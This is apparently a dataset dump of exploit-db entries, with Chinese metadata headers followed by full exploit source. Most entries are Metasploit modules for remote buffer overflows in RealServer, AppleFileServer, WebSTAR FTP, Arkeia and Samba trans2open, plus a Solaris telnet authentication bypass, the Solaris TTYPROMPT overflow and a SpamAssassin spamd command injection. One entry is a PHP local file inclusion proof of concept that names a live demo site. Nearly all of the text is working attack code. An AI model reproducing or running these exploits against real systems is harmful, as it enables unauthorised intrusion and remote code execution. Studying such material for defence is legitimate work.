QLWD/code_shield huggingface dataset:
标题: RealServer 7-9 - Describe Buffer Overflow (Metasploit) EDB-ID: 9937 CVE: 2002-1643 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-12-20 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/http'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'RealServer Describe Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in RealServer 7/8/9
    and was based on Johnny Cyberpunk's THCrealbad exploit. This
    code should reliably exploit Linux, BSD, and Windows-based
    servers.
   },
   'Author'         => 'hdm',
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'OSVDB', '4468'],
     [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d",

    },
   'Targets'        => 
    [
     [ 
      'Universal',
      {
       'Platform' => [ 'linux', 'bsd', 'win' ]
      },
     ],
    ],
   'DisclosureDate' => 'Dec 20 2002',
   'DefaultTarget' => 0))
 end

 def check
  res = send_request_raw({
   'method' => 'OPTIONS',
   'proto'  => 'RTSP',
   'version' => '1.0',
   'uri'    => '/'
  }, 5)

  if response and response['Server']
   print_status("Found RTSP: #{response['Server']}")
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  print_status("RealServer universal exploit launched against #{rhost}")
  print_status("Kill the master rmserver pid to prevent shell disconnect")

  encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }

  res = send_request_raw({
   'method' => 'DESCRIBE',
   'proto'  => 'RTSP',
   'version' => '1.0',
   'uri'    => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/9937
标题: AppleFileServer 10.3.3 (OSX) - LoginEXT PathName Overflow (Metasploit) EDB-ID: 9931 CVE: 2004-0430 类型: REMOTE 平台: OSX 发布日期: 2004-03-03 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 
 include Msf::Exploit::Remote::Tcp
 
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AppleFileServer LoginExt PathName Overflow',
   'Description'    => %q{
     This module exploits a stack overflow in the AppleFileServer service
     on MacOS X. This vulnerability was originally reported by Atstake and
     was actually one of the few useful advisories ever published by that
     company. You only have one chance to exploit this bug.
     This particular exploit uses a stack-based return address that will 
     only work under optimal conditions.
   },
   'Author'         => 'hdm',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => 
    [
     [ 'CVE', '2004-0430'],
     [ 'OSVDB', '5762'],
     [ 'BID', '10271'],
    ],
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00\x20",
     'MinNops'  => 128,
     'Compat'   =>
      {
       'ConnectionType' => "+find"
      }
    },
   'Targets'        =>
    [
     # Target 0
     [
      'Mac OS X 10.3.3',
      {
       'Platform' => 'osx',
       'Arch'     => ARCH_PPC,
       'Ret'      => 0xf0101c0c # stack address :<
      },
     ],
    ], 
   'DisclosureDate' => 'May 3 2004'))

  # Configure the default port to be AFP
  register_options(
   [
    Opt::RPORT(548),
   ], self.class)   
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  path          = "\xff" * 1024
  path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
  path[172, payload.encoded.length] = payload.encoded
  
  # The AFP header
  afp = "\x3f\x00\x00\x00"
  
  # Add the authentication methods
  ["AFP3.1", "Cleartxt Passwrd"].each { |m| 
   afp << [m.length].pack('C') + m
  }
  
  # Add the user type and afp path
  afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
  afp << "\x03" + [path.length].pack('n') + path
  
  # Add the data stream interface header
  dsi = 
  [
   0,           # Flags
   2,           # Command
   rand(65536), # XID
   0,           # Data Offset
   afp.length,  # Data Length
   0            # Reserved
  ].pack("CCnNNN") + afp
  
  sock.put(dsi)
  
  handler
  
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9931
标题: WebSTAR FTP Server 5.3.2 (OSX) - USER Overflow (Metasploit) EDB-ID: 9928 CVE: 2004-0695 类型: REMOTE 平台: OSX 发布日期: 2004-07-13 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'WebSTAR FTP Server USER Overflow',
   'Description'    => %q{
    This module exploits a stack overflow in the logging routine
    of the WebSTAR FTP server. Reliable code execution is
    obtained by a series of hops through the System library.
     
   },
   'Author'         => [ 'ddz', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2004-0695'],
     [ 'OSVDB', '7794'],
     [ 'BID', '10720'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 300,
     'BadChars' => "\x00\x20\x0a\x0d",
     'Compat'   =>
      {
       'ConnectionType' => "+find"
      },
    },
   'Targets'        => 
    [
     [
      'Mac OS X 10.3.4-10.3.6',
      {
       'Platform'     => 'osx',
       'Arch'          => ARCH_PPC,
       'Rets'          => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
      },
     ],
    ],
   'DisclosureDate' => 'Jul 13 2004',
   'DefaultTarget' => 0))

    register_options(
  [
   OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
  ], self)
     

 end

 # crazy dino 5-hop foo
 #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
 #$r28 = pack('N', 0x90034d60); # getgid()
 #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
 #$r30 = pack('N', 0x90023590); # call $r3

 def exploit
  connect
  
  # The offset to the return address is dependent on the length of our hostname
  # as the target system resolves it ( IP or reverse DNS ).
  mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
  basel =  285 - mhost.length
  
  print_status("Trying target #{target.name}...")

  #  ret = 296
  # r25  = 260
  # r26  = 264
  # r27  = 268
  # r28  = 272
  # r29  = 276
  # r30  = 280
  # r31  = 284

  # r1+120 = 408
  
  buf                 = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
  buf[basel +  24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
  buf[basel      , 4] = [ target['Rets'][1] ].pack('N') # getgid()
  buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
  buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
  buf << payload.encoded

  send_cmd( ['USER', buf] , true )
  send_cmd( ['HELP'] , true )
  
  handler 
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9928
标题: Knox Arkeia Backup Client 5.3.3 Type 77 (OSX) - Overflow (Metasploit) EDB-ID: 9930 CVE: 2005-0491 类型: REMOTE 平台: OSX 发布日期: 2005-02-18 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Arkeia

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
   'Description'    => %q{
    This module exploits a stack overflow in the Arkeia backup
    client for the Mac OS X platform. This vulnerability affects
    all versions up to and including 5.3.3 and has been tested
    with Arkeia 5.3.1 on Mac OS X 10.3.5.
     
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2005-0491'],
     [ 'OSVDB', '14011'],
     [ 'BID', '12594'],
     [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'MinNops'  => 700,
     'Compat'   =>
     {
      'ConnectionType' => '-find',
     },
    },
   'Targets'        => 
    [
     [
      'Arkeia 5.3.1 Stack Return (boot)',
      {
       'Platform' => 'osx',
       'Arch'     => ARCH_PPC,
       'Ret'      => 0xbffff910,
      },
     ],
    ],
   'DisclosureDate' => 'Feb 18 2005',
   'DefaultTarget' => 0))
 end
 
 def check
  info = arkeia_info()
  if !(info and info['Version'])
   return Exploit::CheckCode::Safe
  end
  
  print_status("Arkeia Server Information:")
  info.each_pair { |k,v|
   print_status("   #{k + (" " * (30-k.length))} = #{v}") 
  }
  
  if (info['System'] !~ /Darwin/)
   print_status("This module only supports Mac OS X targets")
   return Exploit::CheckCode::Detected
  end
  
  if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
   return Exploit::CheckCode::Vulnerable
  end
  
  return Exploit::CheckCode::Safe
 end
 
 def exploit
  connect
  
  # Request has to be big enough to find and small enough
  # not to write off the end of the stack. If we write too
  # far down, we also smash env[], which causes a crash in
  # getenv() before our function returns.
  
  head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
  head[6, 2] = [1200].pack('n')
  
  buf = rand_text_english(1200, payload_badchars)

  # Return back to the stack either directly or via system lib
  buf[0, 112] = [target.ret].pack('N') * (112/4)

  # Huge nop slep followed by the payload
  buf[112, payload.encoded.length] = payload.encoded
  
  print_status("Sending request...")
  begin
   sock.put(head)
   sock.put(buf)
   sock.get_once  
  rescue IOError, EOFError => e
   print_status("Exception: #{e.class}:#{e}")
  end
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9930
标题: Oscailt CMS 3.3 - Local File Inclusion EDB-ID: 9922 CVE: 2009-4512 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-28 漏洞利用脚本: [0] Oscailt 3.3 CMS 
[0] Download: http://sourceforge.net/projects/oscailt/
[0] Bug: Local File Inclusion in index.php file !
[0] Author: s4r4d0@yahoo.com
[0] Team: Fatal Error
[0] Poc: http://www.site.com/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00
[0] DEMO:http://imemc.org/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00
[0] Greetz: Elemento_pcx - z4i0n - m4v3rick - HADES - Hualdo - Derf - DD3str0y3r - Obz !!!
[0] Made in Brazil - SP
[0] Source Code: 
# SecurityReason Note :
#
# The option "Use Friendly URL's" in configuration must be set off
#
# Vulnerable Code in index.php :
#
# $target_indyobject_id = getRequestTargetObjectID();
# ...
# if(!$use_live)
# {
#   $cachefile = getObjectCacheIndexFile($target_indyobject_id);
#   if(file_exists($cachefile))
#   {
#      include_once($cachefile);
#   }
#
# in function getObjectCacheIndexFile() we have ...
#
# function getObjectCacheIndexFile($id)
# {
#   $dir = getObjectCacheDir($id);
#   $f = $id.'.inc';
#   return $dir.$f;
# }
# 
# As we can see , $cachefile try include inc file in cache dir.
#
# magic_quotes = Off // to use %00 null byte
#
# - sp3x
#

[0]Reference: http://securityreason.com/exploitalert/7422 URL: https://www.exploit-db.com/exploits/9922
标题: Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) EDB-ID: 9924 CVE: 2003-0201 类型: REMOTE 平台: OSX 发布日期: 2003-04-07 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::SMB

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Samba trans2open Overflow (Mac OS X)',
   'Description'    => %q{
    This exploits the buffer overflow found in Samba versions
    2.2.0 to 2.2.8. This particular module is capable of
    exploiting the bug on Mac OS X PowerPC systems.
     
   },
   'Author'         => [ 'hdm' ],
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2003-0201'],
     [ 'OSVDB', '4469'],
     [ 'BID', '7294'],
     [ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'MinNops'  => 512,

    },
   'Platform'       => 'osx',
   'Arch'           => ARCH_PPC,
   'Targets'        => 
    [
     ['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],

    ],
   'DisclosureDate' => 'Apr 7 2003',
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(139)
    ], self.class)
 end

 # Need to perform target detection
 def autofilter
  false
 end

 def exploit
  curr_ret = target['Rets'][0]
  while (curr_ret >= target['Rets'][1])
   break if session_created?
   begin
    print_status("Trying return address 0x%.8x..." %  curr_ret)

    connect
    smb_login
 
    # 1988 is required for findrecv shellcode
    pattern = rand_text_english(1988)
 
    # This stream covers the framepointer and the return address
    pattern[1195, 64] = [curr_ret].pack('N') * 16

    # Stuff the shellcode into the request
    pattern[3, payload.encoded.length] = payload.encoded

    trans =
     "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
     "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
     "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
     pattern

    sock.put(trans)
    handler
    disconnect
    
   rescue EOFError
   rescue => e
    print_status("Caught exception: #{e}")
    break
   end
   curr_ret -= target['Rets'][2]
  end
 end
end URL: https://www.exploit-db.com/exploits/9924
标题: Solaris 10/11 Telnet - Remote Authentication Bypass (Metasploit) EDB-ID: 9918 CVE: 2007-0882 类型: REMOTE 平台: SOLARIS 发布日期: 2007-02-12 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
   'Description'    => %q{
    This module exploits the argument injection vulnerabilty
    in the telnet daemon (in.telnetd) of Solaris 10 and 11.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2007-0882' ],
     [ 'OSVDB', '31881'],
     [ 'BID', '22512' ],
    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        => 
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Feb 12 2007',
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(23),
     OptString.new('USER', [ true, "The username to use",     "bin" ]),
    ], self.class)
 end

 def exploit
  connect
   
  print_status('Setting USER environment variable...')
  
  req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
  req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
  req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05" 
  
  sock.put(req)
  sock.get_once
  
  req << "\xFF\xFC\x25"

  sock.put(req)
  sock.get_once
  
  req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0" 

  sock.put(req)
  sock.get_once

  req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0" 

  sock.put(req)
  sock.get_once

  req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

  sock.put(req)
  sock.get_once

  req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
  req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
  req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

  sock.put(req)
  sock.get_once 
  sleep(0.25)

  sock.put(payload.encoded + "\n")
  sleep(0.25) 
 
  handler
 end

end URL: https://www.exploit-db.com/exploits/9918
标题: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (1) (Metasploit) EDB-ID: 9917 CVE: 2001-0797 类型: REMOTE 平台: SOLARIS 发布日期: 2002-01-18 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
   'Description'    => %q{
    This module uses a buffer overflow in the Solaris 'login'
   application to bypass authentication in the telnet daemon. 
   },
   'Author'         => [ 'MC', 'cazz' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2001-0797'],
     [ 'OSVDB', '690'],
     [ 'BID', '5531'],

    ],
   'Privileged'     => false,
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => '',
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        => 
    [
     ['Automatic', { }],
    ],
   'DisclosureDate' => 'Jan 18 2002',
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(23),
     OptString.new('USER', [ true, "The username to use",     "bin" ]),
    ], self.class)
 end

 def exploit
  connect
 
  banner = sock.get_once
  
  print_status('Setting TTYPROMPT...')
  
  req = 
   "\xff\xfc\x18" +
   "\xff\xfc\x1f" +
   "\xff\xfc\x21" +
   "\xff\xfc\x23" +
   "\xff\xfb\x22" +
   "\xff\xfc\x24" +
   "\xff\xfb\x27" +
   "\xff\xfb\x00" +
   "\xff\xfa\x27\x00" +
   "\x00TTYPROMPT" +
   "\x01" + 
   rand_text_alphanumeric(6) + 
   "\xff\xf0" 
  
  sock.put(req)
  sleep(0.25)
  
  print_status('Sending username...')
 
  filler = rand_text_alpha(rand(10) + 1)
 
  req << datastore['USER'] + (" #{filler}" * 65) 
  
  sock.put(req + "\n\n\n")

  sleep(0.25)
  sock.get_once
  
  sock.put(payload.encoded + "\n")

  sleep(0.25)
  
  handler
 end

end URL: https://www.exploit-db.com/exploits/9917
标题: SpamAssassin spamd 3.1.3 - Command Injection (Metasploit) EDB-ID: 9914 CVE: 2006-2447 类型: REMOTE 平台: UNIX 发布日期: 2006-06-06 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SpamAssassin spamd Remote Command Execution',
   'Description'    => %q{
     This module exploits a flaw in the SpamAssassin spamd service by specifying
     a malicious vpopmail User header, when running with vpopmail and paranoid
     modes enabled (non-default). Versions prior to v3.1.3 are vulnerable 
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2006-2447' ],
     [ 'OSVDB', '26177' ],
     [ 'BID', '18290' ],
     [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },   
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => 
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Jun 06 2006',
   'DefaultTarget'  => 0))

   register_options(
   [
    Opt::RPORT(783)
   ], self.class)
 end

 def exploit
  connect

  content = Rex::Text.rand_text_alpha(20)

  sploit = "PROCESS SPAMC/1.2\r\n"
  sploit << "Content-length: #{(content.length + 2)}\r\n"
  sploit << "User: ;#{payload.encoded}\r\n\r\n"
  sploit << content + "\r\n\r\n"

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9914